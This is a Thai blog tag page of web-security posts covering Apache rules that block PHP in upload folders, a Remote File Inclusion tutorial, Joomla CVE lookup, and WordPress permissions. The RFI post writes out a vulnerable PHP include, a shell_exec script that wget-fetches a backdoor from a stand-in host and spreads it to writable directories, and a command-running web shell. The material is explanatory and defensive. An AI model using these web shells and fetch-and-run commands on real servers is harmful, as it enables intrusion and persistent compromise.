Tag: security

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #12

    บทความนี้ จะกล่าวถึง วิธีการปิดช่องโหว่ของ Apache ที่ให้บริการ Web Hosting เลย เผื่อมีผู้ใช้ ติดตั้ง Joomla และมี JCE รุ่นที่มีช่องโหว่ จะได้ไม่สร้างปัญหา และ แนะนำวิธีสำหรับผู้พัฒนาเวปไซต์เองด้วย ที่เปิดให้มีการ Upload ไฟล์โดยผู้ใช้ผ่านทาง Web ด้วย … เพราะหน้าที่นี้ ควรเป็นของ Web Server Administrator ไม่ใช่ของ Web Master หรือ Web Author ครับ

    จากปัญหาช่องโหว่ของ JCE Exploited ของ Joomla ที่อธิบายไว้ใน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3 ที่อธิบายขั้นตอนการเจาะช่องโหว่, วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4 ซึ่งเป็นวิธีการตรวจสอบค้นหา และทำลาย Backdoor และ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #11  วิธีการ Incremental Backup ซึ่งสามารถช่วยกู้ไฟล์ได้และรู้ว่า มีไฟล์แปลกปลอมอะไรเกิดบ้าง ซึ่งเป็นการแก้ปัญหาปลายเหตุทั้งสิ้น

    ส่วน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #5 กล่าวถึงการตรวจสอบว่า Software ที่ใช้งานอยู่มีช่องโหว่อะไรบ้าง ด้วยการตรวจสอบ CVE เป็นต้น

    สำหรับ JCE Exploited จะพบว่า การวางไฟล์ Backdoor จะเริ่มวางไว้ที่ไดเรคทอรี่ images/stories ที่ แกล้งเป็นไฟล์ .gif แล้วเอาโค๊ด PHP เข้ามาใส่ แล้วเปลี่ยนนามสกุลเป็น .php ภายหลัง ดังนั้น หาก Apache Web Server สามารถ ปิดกั้นตั้งแต่จุดนี้ได้ กล่าวคือ ต่อให้เอาไฟล์มาวางได้ แต่สั่งให้ทำงานไม่ได้ ก็น่าจะปลอดภัย และ หากพัฒนาเวปไซต์เอง หรือ ผู้ใช้ของระบบต้องการให้ Upload ไฟล์ไว้ในไดเรคทอรี่ใดได้ ก็ต้องแจ้งให้ Web Server Administrator รับทราบ และเพิ่มเติมให้ น่าจะทำให้ปลอดภัยมากขึ้นได้

    สมมุติฐานคือ

    1. ติดตั้ง OS และ Apache Web Server ใหม่

    2. ติดตั้ง Joomla ใหม่ หรือ เอา Web Application ที่ปลอดช่องโหว่อื่นๆ/Backdoor มาลง
      โดย Joomla ที่มีที่วางไฟล์ภาพไว้ที่ images/stories ส่วน Web Application อื่นๆ ขอสมมุติว่าตั้งชื่อไดเรคทอรี่ว่า uploads

    สำหรับ Apache2 บน Ubuntu Apache 2.2 นั้น มีโครงสร้างไดเรคทอรี่ดังนี้

    /etc/apache2/
|-- apache2.conf
|       `--  ports.conf
|-- mods-enabled
|       |-- *.load
|       `-- *.conf
|-- conf.d
|       `-- *
|-- sites-enabled
        `-- *

    เมื่อ Apache เริ่ม (Start) ก็จะไปอ่าน /etc/apache2/apache2.conf ในนั้น จะกำหนดภาพรวมของระบบ ได้แก่ ใครเป็นคน Start (APACHE_RUN_USER/APACHE_RUN_GROUP), การกำหนดชื่อไฟล์ .htaccess ที่เปิดให้ผู้ใช้ปรับแต่ง Apache ที่แต่ละไดเรคทอรี่ของตนได้, กำหนดว่า จะเรียกใช้ Module อะไรบ้าง โดยการ Include *.load, *.conf  จาก mods-enabled, กำหนดว่า จะเปิดให้มี Virtual Host อะไรบ้างโดยการ Include ไฟล์จาก sites-enabled และ ที่สำคัญ ผู้ดูแลระบบสามารถแยกไฟล์ config ออกเป็นส่วนย่อยๆเป็นไฟล์ โดยการ Include จาก conf.d

    ต่อไป สร้างไฟล์ /etc/apache2/conf.d/jce มีเนื้อหาดังนี้

    <DirectoryMatch ".*/images/stories/.*">
<FilesMatch "\.php$">
       Order Deny,Allow
       Deny from All
 </FilesMatch>
</DirectoryMatch>

     และในทำนองเดียวกัน สร้างไฟล์ /etc/apache2/conf.d/uploads มีเนื้อหาดังนี้

    <DirectoryMatch ".*/uploads/.*">
<FilesMatch "\.php$">
       Order Deny,Allow
       Deny from All
 </FilesMatch>
</DirectoryMatch>

    ก่อนจะ Restart/Reload Apache ทดสอบสร้างไฟล์ใน

    /var/www/joomla15/images/stories/0day.php
/var/www/mywebapp/uploads/hack.php

    เมื่อเรียก URL
    http://localhost/joomla15/images/stories/0day.php

    http://localhost/mywebapp/uploads/hack.php

     ผลที่ได้คือ Backdoor หน้าตาประมาณนี้

    แต่พอใช้ Reload Apache ด้วยคำสั่ง

     sudo /etc/init.d/apache2 reload

     แล้วเรียก URL

     http://localhost/joomla15/images/stories/0day.php

     จะได้ผลดังนี้

    เป็นอันว่า แม้ Hacker จะสามารถเอาไฟล์ 0day.php ไปวางใน images/stories ได้ แต่ก็จะไม่สามารถทำงานได้ (อย่างน้อย ก็เรียกใช้ไม่ได้ แต่ผู้ดูแลต้องค้นหาและทำลายเป็นประจำ)

     อธิบายเพิ่มเติมเกี่ยวกับ Apache Configuration เล็กน้อย, การเขียนนั้น ประกอบด้วยสิ่งที่เรียกว่า Directive โดยแบ่งออกเป็น Container และ Directive ทั่วไป

    1. Container Directive: เป็นตัวบอกขอบเขต แบ่งออกเป็น

    1.1 FileSystem: ได้แก่

    1.1.1 <Directory directory-path> … </Directory>
    ตั้งค่ากับเฉพาะ ขอบเขตของ Directory ซึ่ง directory-path จะต้องเขียนตามให้เต็ม Path เช่น
    <Direcotory /var/www>
    ….
    </Directory>

    1.1.2 <DirectoryMatch regexp> … </DirectoryMatch>
    ตั้งค่ากับเฉพาะ ขอบเขตของ Directory ซึ่งสอดคล้องกับ regexp ที่กำหนด เช่น
    <DirecotoryMatch “.*/images/stories/.*”>
    ….
    </DirectoryMatch>

    1.1.3 <Files filename> … </Files>
    ตั้งค่ากับเฉพาะ ชื่อไฟล์ที่ตรงกับ filename ที่กำหนด เช่่น
    <Files “somefile.html”>
    …
    </Files>

    1.1.4 <FilesMatch regexp> … </FilesMatch>
    ตั้งค่ากับเฉพาะ ชื่อไฟล์ที่สอดคล้องกับ regexp ที่กำหนด เช่่น
    <FilesMatch “.*\.php$”>
    …
    </FilesMatch>

    1.2 WebSpace: ได้แก่

    1.2.1 <Location URL-Path> … </Location>
    ตั้งค่ากับเฉพาะ URL ที่ตรงกับ URL-Path เช่น
    <Location /private>
    …
    </Location>
    1.2.2 <LocationMatch regexp> … </LocalMatch>
    ตั้งค่ากับเฉพาะ URL ที่สอดคล้องกับ regexp เช่น
    <LocationMatch “/(extra|special)/data”>
    …
    </LocationMatch>

    2. Other Directive
    ซึ่งมีอยู่มากมาย กรุณาอ่านเพิ่มเติมจาก http://httpd.apache.org/docs/2.2/mod/core.html แต่ในที่นี้ จะขอยกตัวอย่างที่สำคัญ และจำเป็นต้องใช้ ตามตัวอย่างข้างต้น คือ

    Order ordering : อยู่ใน Module mod_access_compat, ค่า ordering ที่สามารถกำหนดได้คือ

    Allow, Deny ซึ่งจะพิจารณาการอนุญาตก่อนปฏิเสธ และ Deny, Allow จะปฏิเสะก่อนแล้วพิจารณาอนุญาต ให้เข้าถึงไฟล์ หรือ ไดเรคทอรี่ต่างๆ

    Deny all|host : อยู่ใน Module mod_access_compat, ค่า all หมายถึง ปฏิเสธทุกการเชื่อมต่อจากทุกๆที่, host สามารถเป็น IP Address หรือ URL ก็ได้

    Allow all|host : อยู่ใน Module mod_access_compat, ค่า all หมายถึง ยอมรับทุกการเชื่อมต่อจากทุกๆที่, host สามารถเป็น IP Address หรือ URL ก็ได้

    ดังนั้น ไฟล์ /etc/apache2/conf.d/jce ซึ่งมีเนื้อหาว่า

    <DirectoryMatch ".*/images/stories/.*>
 <FilesMatch "\.php$">
       Order Deny,Allow
       Deny from All
 </FilesMatch>
</DirectoryMatch>

    หมายถึง ถ้ามีการเรียก ไฟล์ที่อยู่ใน directory อะไรก็ตามที่มีส่วนหนึ่งของ Path เป็น images/stories ก็จะ ไปดูว่า ชื่อไฟล์ที่เรียกนั้น มีนามสกุลเป็น .php หรือไม่ (.* แปลว่า ตัวอักษรอะไรก็ได้, \. หมายถึงจุด “.” ที่ใช้เชื่อม filename และ extenstion และ $ หมายถึง สิ้นสุดข้อความ) ถ้าเป็นการเรียกไฟล์ .php ใน images/stories ก็จะ ปฏิเสธเสมอ (Deny from ALL)

    แล้ว ทำไมไม่ใช่ .htaccess ?

    จาก Apache Security Tips ไม่แนะนำให้ใช้ .htaccess เพราะปัญหาด้าน Performance เพราะทุกครั้งที่จะเข้าถึงไฟล์ จะต้องพิจารณา .htaccess ทุกครั้ง ในเวปไซต์ที่มีการใช้งานมาก อาจจะทำให้ความเร็วช้าลงได้ อีกประการหนึ่ง .htaccess นั้นอยู่ในไดเรคทอรี่ที่ผู้ใช้สามารถกำหนดสิทธิ์ (Permission) เองได้ หากพลาดกำหนดให้ Web User สามารถเขียนได้ อาจจะทำให้ Hacker เลี่ยงข้อกำหนดต่างๆได้ หาก ที่ Apache Main Configuration ประกาศ AllowOverride เป็น ALL

    ขอให้โชคดี

    Reference

    [1] “Apache HTTP Server Version 2.2 Documentation – Apache HTTP …” 2005. 7 Jan. 2014 <http://httpd.apache.org/docs/2.2/> .

    [2] “Security Tips – Apache HTTP Server.” 2005. 7 Jan. 2014 <http://httpd.apache.org/docs/2.2/misc/security_tips.html>

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #10

    ในบทความนี้ จะพูดถึงช่องโหว่ที่เรียกว่า Remote File Inclusion หรือ RFI [1]

    จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9 ที่พูดถึง ช่องโหว่ประเภท XSS หรือ Cross-site Scripting ซึ่งอาศัยข้อผิดพลาดของการเขียนโปรแกรม ที่ทำให้ Hacker สามารถแทรก JavaScript ซึ่งจะได้ข้อมูลของ Web Browser และสามารถเปิดโอกาศให้ ผู้ใช้ของระบบ สามารถเขียน JavaScript ลงไปใน Database สร้างความเป็นไปได้ในการขโมย Cookie ID ของ Admin

    แต่ RFI เป็นช่องโหว่ ที่เกิดจากการเขียนโค๊ด ที่เปิดให้มีการ Include ไฟล์จากภายนอก จาก Internet ได้ ซึ่ง เปิดโอกาศให้ Hacker สามารถทำได้ตั้งแต่ เรียกไฟล์ /etc/passwd มาดูก็ได้ หรือ แม้แต่เอาไฟล์ Backdoor มาวางไว้ เรียกคำสั่งต่างๆได้เลยทีเดียว

    โปรดพิจารณาตัวอย่างต่อไปนี้

    ไฟล์แรก form.html มีรายละเอียดดังนี้

    <form method="get" action="action.php">
   <select name="COLOR">
      <option value="red.inc.php">red</option>
      <option value="blue.inc.php">blue</option>
   </select>
   <input type="submit">
</form>

    ให้ผู้ใช้ เลือกสี red หรือ blue แล้วส่งค่าดังกล่าว ผ่านตัวแปร COLOR ไปยัง action.php ผ่านวิธีการ GET

    ไฟล์ที่สอง action.php มีรายละเอียดดังนี้

    <?php
   if (isset( $_GET['COLOR'] ) ){
      include( $_GET['COLOR'] );
   }
?>

    โดยหวังว่า จะได้ Include red.inc.php หรือ blue.inc.php ตามที่กำหนดไว้ เช่น

    http://localhost/rfi/action.php?COLOR=red.inc.php

    แต่ เป็นช่องโหว่ ที่ทำให้ Hacker สามารถ แทรกโค๊ดอันตรายเข้ามาได้ ผ่านตัวแปร COLOR ได้

    หาก Hacker ทราบว่ามีช่องโหว่ ก็อาจจะสร้างไฟล์ Backdoor ชื่อ makeremoteshell.php เพื่อให้แทรกผ่านการ include ผ่านตัวแปร COLOR ดังนี้

    <?php
$output=shell_exec("
    wget http://localhost/rfi/rfi.txt -O /tmp/rfi.php
    find /var/www -user www-data -type d -exec cp /tmp/rfi.php {} \;
    find /var/www -name 'rfi.php'
");
echo nl2br($output);
?>

    ซึ่ง จะทำงานผ่าน function shell_exec ซึ่งสามารถเรียกคำสั่งของ Shell Script ได้ โดย ไปดึงไฟล์จาก http://localhost/rfi/rfi.txt (สมมุติว่าเป็น Website ของ Hacker ที่จะเอาไฟล์ Backdoor ไปวางไว้) แล้ว เอาไฟล์ดังกล่าว ไปเก็บ /tmp/rfi.php และจากนั้น ก็ค้นหาว่า มี Directory ใดบ้างที่ Web User ชื่อ www-data เขียนได้ ก็ copy /tmp/rfi.php ไปวาง หลังจากนั้น ก็แสดงผลว่า วางไฟล์ไว้ที่ใดได้บ้าง

    ไฟล์ rfi.txt ที่จะถูกเปลี่ยนเป็น rfi.php นั้น มีรายละเอียดดังนี้

    <?php
$c = $_GET['c'];
$output = shell_exec("$c");
echo "<pre>" . nl2br($output) . "</pre>";
?>

    ซึ่ง จะทำให้สามารถ ส่งคำสั่ง ผ่านตัวแปร c ไปให้ Backdoor rfi.php ทำงานได้เลย
    จากนั้น ก็เรียก

    http://localhost/rfi/action.php?COLOR=http://localhost/rfi/makeremoteshell.php

    ผลที่ได้คือ

    rfi01

    เป็นผลให้ เกิดการวาง Backdoor rfi.php ข้างต้นในที่ต่างๆที่ Web User เขียนได้แล้ว จากนั้น Hacker ก็สามารถ เรียกใช้ ด้วย URL ต่อไปนี้ เพื่อส่งคำสั่ง ls -l ได้เลย

    http://localhost/ccpr/images/stories/rfi.php?c=ls -la

    ผลที่ได้คือ

    rfi02

    หรือ แม้แต่ เอา Backdoor อื่่นๆไปวางด้วย URL

    http://localhost/ccpr/images/stories/rfi.php?c=wget http://localhost/rfi/miya187.txt -O /var/www/ccpr/images/stories/miya187.php

    และเรียกใช้ งาน Backdoor อันตรายอย่างนี้ได้เลยทีเดียว

    http://localhost/ccpr/images/stories/miya187.php

    ผลที่ได้คือ

    rfi03

    ซึ่ง อันตรายอย่างยิ่ง

    วิธีการเดียวที่จะป้องกันได้คือ การปิดค่า allow_url_include ของ PHP ดังนี้

    allow_url_include=Off

    ก็ทำให้ PHP สามารถ Include ได้เฉพาะ Path ที่กำหนดเท่านั้น ไม่สามารถเรียกจากภายนอกได้

    ขอให้โชคดี

     Reference

    [1] Wikipedia:File Inclusion Vulnerability <http://en.wikipedia.org/wiki/File_inclusion_vulnerability>

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #5

    จากที่ผ่านมา เราได้เรียนรู้จาก

    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4

    เราได้แต่ตามแก้ไขปัญหา เมื่อเกิดเรื่องขึ้นกับ Website ของเราแล้ว ถึงเวลาแล้ว ที่เราจะต้อง “Proactive” หรือ ทำงานเชิงรุกกันได้แล้ว

    ในโลกเทคโนโลยี มีคนเก่งๆมากมายที่เขาทุ่มเทเวลา เพื่อค้นหาช่องโหว่ต่างๆ ในที่นี้ กรณีของ Joomla ก็สามารถไปดูได้ที่

    Joomla Developer Network  http://developer.joomla.org/security.html

    จากเวปไซต์ดังกล่าว จะเป็นรายงานอย่างเป็นทางการของ Joomla, สิ่งที่ต้องสนใจ คือ

    • Severity: ความร้ายแรง ถ้าเป็นระดับ High, Critical แสดงว่า ร้ายแรง ต้องแก้ไขทันที

    • Versions: รุ่นของ Joomla ที่ได้รับผลกระทบ (ผู้เป็นเจ้าของ ควรรู้ว่าตัวเองใช้รุ่นใด)

    • Exploit type: ลักษณะของช่องโหว่ เช่น XSS, SQL Injection, RFI, Buffer Overflow และอื่นๆ (จะอธิบายในลำดับต่อไป)

    • Reported Date/Fixed Date : แสดง วันที่ที่ตรวจพบ จนถึงวันที่ Joomla ได้แก้ไขปัญหาดังกล่าว

    • CVE Number: แสดงตัวเลขอ้างอิง สำหรับการตรวจสอบกับระบบรักษาความปลอดภัยต่างๆ ถ้ามีตัวเลข CVE แล้ว แสดงว่าปัญหาดังกล่าวมีการยืนยันว่าเป็นปัญหา และมีคนหาทางแก้ไขปัญหาแล้ว รวมถึง มักจะมี Exploited Tools หรือ เครื่องมือในการทดสอบแล้วด้วย ซึ่ง ก็จะมีพวก Script Kiddie หรือ พวกชอบลองของ เอาไปโจมตีเวปไซต์ต่างๆ ทั้งเพื่อความสนุกสนาน และทำลายล้าง (จะอธิบายในลำดับถัดไป)

    • Description และ Solution: รายละเอียดของปัญหา และแนวทางแก้ไข

    CVE ย่อมาจาก Common Vulnerabilities and Exposures ดูรายละเอียดเพิ่มเติมที่ http://cve.mitre.org/ เรียกได้ว่า เป็น ชื่อทางการของช่องโหว่ โดยมีรูปแบบเป็น CVE-YYYY-NNNN โดยที่ YYYY เป็นปี ค.ศ. ที่ค้นพบช่องโหว่ ส่วน NNNN แสดงลำดับในการค้นพบ ดังนั้น จะมีชื่อได้ 10,000 ชื่อ เช่น CVE-2013-5576 แสดงว่า เป็นช่องโหว่ เกิดขึ้นปี 2013 และเป็นลำดับที่ 5576 ของปีนั้น (แต่ ตั้งแต่ 1 ม.ค. 2014 จะมีการเปลี่ยนแปลงรูปแบบ ตัวเลขตั้งแต่ 0-9999 จะยังใช้ NNNN หรือ 4 Digit เหมือนเดิม แต่เมื่อมากกว่านั้น ก็สามารถขยายไปได้เรื่อยๆ เช่น CVE-0001 แต่เมื่อเกิน 10,000 ก็จะเป็น CVE-10001 หรือใช้ NNNNN เป็น 5 Digit นั่นเอง)

    ปัญหาอยู่ที่ว่า จาก Website ของ Joomla Developer Network มักไม่ค่อยให้รายละเอียดมากนัก จึงขอแนะนำ อีก Website คือ

    http://www.scip.ch/en/?vuldb

    เวปไซต์ดังกล่าว จะแสดงรายการช่องโหว่ต่างๆที่ค้นพบ จัดลำดับเวลาในการเกิดเหตุ และความร้ายแรงได้อีกด้วย

    ในกรณีที่ต้องการค้นหา ปัญหาของ Joomla 2.5 สามารถใช้ Google ช่วยค้นหาได้ โดยการค้นหาด้วยคำต่อไปนี้

    joomla 2.5 site:scip.ch

    จากผลการค้นหา จะพบว่า มีหลายช่องโหว่มาก ลองดูสักหนึ่งรายการ

    http://www.scip.ch/en/?vuldb.9847

    จากภาพ แสดงให้เห็นว่า เป็นช่องโหว่ระดับ Critical ของ Joomla รุ่น 2.5.1 / 3.1.4 ซึ่งทำให้ Hacker สามารถ Upload ไฟล์ Backdoor เข้าไปใน Website ได้ และ ช่องโหว่ดังกล่าว ได้ตัวเลข CVE คือ CVE-2013-5576 พบเมื่อ วันที่ 23 ส.ค. 2013

    นอกจากนั้น ยังแสดงรายละเอียดอื่นๆ ได้แก่ CVSS และ OSVDB ซึ่งจะเป็นการแสดงขนาดของผลกระทบ และความยากง่ายในการโจมตี  ซึ่งจะอธิบายต่อไป

    ต่อไป ลองไปดู รายละเอียดของ CVE-2013-5576 ที่
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5576

    จะพบว่า มีคนทำ Exploits ไว้แล้วที่  http://www.exploit-db.com/exploits/27610/

    สำหรับบางช่องโหว่ ก็มีคนไปสร้าง Patch หรือ วิธีแก้ไขให้แล้ว
    จากรุ่น 2.5.13 เป็น 2.5.14 ทำตามนี้
    https://github.com/joomla/joomla-cms/commit/fa5645208eefd70f521cd2e4d53d5378622133d8

    จากรุ่น 3.1.4 เป็น 3.1.5
    https://github.com/joomla/joomla-cms/commit/1ed07e257a2c0794ba19e864f7c5101e7e8c41d2

    CVSS and  OSVDB (เดียวกลับมาเขียนเพิ่มเติม)
    Common Vulnerability Scoring System (CVSS ) เป็นระบบการให้คะแนนช่องโหว่ เพื่อให้สามารถบริหารจัดการ รายละเอียดการคำนวนทั้งหมด ดูได้ที่นี่ http://www.first.org/cvss/cvss-guide.html
    Open Sourced Vulnerability Database (OSDB)

    CWE (Common Weakness Enumeration)

    นอกจากนั้น ยังมีเวปไซต์ ที่เราสามารถดู รายการช่องโหว่ ของ CMS หรือ Software ต่างๆ ได้ที่ CVE Details : http://www.cvedetails.com/

     Joomla มีประวัติช่องโหว่ดังนี้
    http://www.cvedetails.com/vendor/3496/Joomla.html

     Wordpress มีประวัติช่องโหว่ดังนี้
    http://www.cvedetails.com/vendor/2337/Wordpress.html

     

    Mambo ในอดีต และหยุดพัฒนาไปตั้งแต่ปี 2008 มีประวัติช่องโหว่ดังนี้
    http://www.cvedetails.com/vendor/842/Mambo.html

    หวังว่าจะมีประโยชน์ครับ

  • WordPress file owner and permission

    ตอนนี้เราควรให้ความสำคัญกับความปลอดภัยของเว็บไซต์ wordpress โดยการตั้งค่าสิทธิของไดเรกทอรีและไฟล์มากขึ้นเพราะมีข่าวที่เว็บไซต์มีช่องโหว่แล้วถูกฝังโค้ด

    เช่น แต่เดิมเราติดตั้ง wordpress ไว้ในไดเรกทอรี /var/www/wordpress แล้วเพื่อให้ทำงานติดตั้ง plugins เพิ่ม ปรับแต่งหน้าเว็บด้วย themes ใหม่ๆ หรือการอัปโหลดรูปภาพและสื่อ รวมทั้งการ upgrade เวอร์ชั่นของ wordpress ทำได้สะดวกง่ายๆ ด้วยการกำหนดสิทธิอย่างง่ายคือ

    sudo chown -R www-data.www-data /var/www/wordpress

    ก็ใช้งานได้แล้ว แต่ดูเหมือนว่าสักวันหนึ่งเราอาจจะเป็นเหยื่อได้ ผมได้คุยกับน้องใหญ่ แล้วก็ลงความเห็นกันว่า เราควรตั้งค่า file owner และ file permission ให้มันเข้มขึ้นแต่ยังสะดวกในการทำงานติดตั้งอะไรๆได้ด้วย ก็เป็นที่มาของคำสั่งข้างล่างนี้

    อันดับแรกก็จะต้องกำหนด file owner กันก่อน ถ้า ubuntu server ของเรา ใช้ username คือ mama และมี group ชื่อ adm ซึ่งเป็นชื่อ group ที่มีสิทธิทำอะไรได้มากกว่า user ธรรมดา ก็ใช้ mama:adm นี้ได้ หรือจะใช้ mama:mama ก็ได้ครับ (ที่เป็น adm ก็เผื่อไว้ว่าวันหนึ่งเราอาจจะเพิ่ม username สักคนเข้าใน groupname adm นี้ก็เท่านั้นเอง) ดังนี้

    sudo chown -R mama:adm /var/www/wordpress
    sudo chown -R mama:adm /var/www/wordpress/wp-content/

    ถัดมาก็กำหนด file owner ที่ให้สิทธิ apache web server ซึ่งใช้ username คือ www-data และ groupname คือ www-data เพียงแค่ไดเรกทอรีที่จำเป็น ดังนี้

    sudo chown -R mama:www-data /var/www/wordpress/wp-content/plugins
    sudo chown -R mama:www-data /var/www/wordpress/wp-content/themes
    sudo chown -R mama:www-data /var/www/wordpress/wp-content/upgrade
    sudo chown -R mama:www-data /var/www/wordpress/wp-content/uploads

    ถัดไปก็กำหนด file permission ให้กับไดเรกทอรีเหล่านี้ด้วย (ผมเพิ่ม -R ลงไปในคำสั่งด้านล่างนี้ด้วยแล้ว) ดังนี้

    chmod -R 775 /var/www/wordpress/wp-content/plugins
    chmod -R 775 /var/www/wordpress/wp-content/themes
    chmod -R 775 /var/www/wordpress/wp-content/upgrade
    chmod -R 775 /var/www/wordpress/wp-content/uploads

    สุดท้าย เราต้องแก้ไขไฟล์ชื่อ wp-config.php ด้วยนะ เหตุผลตรงนี้คือ เราไม่ต้องการติดตั้งแบบที่มันจะถาม ftp user แต่ต้องการให้ติดตั้งได้อัตโนมัติ ให้แก้ไขดังนี้

    sudo vi /var/www/wordpress/wp-config.php

    โดยให้แทรกบรรทัด

    define('FS_METHOD', 'direct');

    ไว้ก่อนบรรทัดนี้ อยู่ประมาณ 10 บรรทัดนับจากท้ายไฟล์ครับ

    /* That’s all, stop editing! Happy blogging. */

    ผมคิดว่าหากเป็น CMS ตัวอื่นๆ ก็คงใช้แนวทางเดียวกันนี้ได้

    ขอจบเพียงเท่านี้ และขอขอบคุณข้อมูลจากคุณเกรียงไกร หนูทองคำ ครับ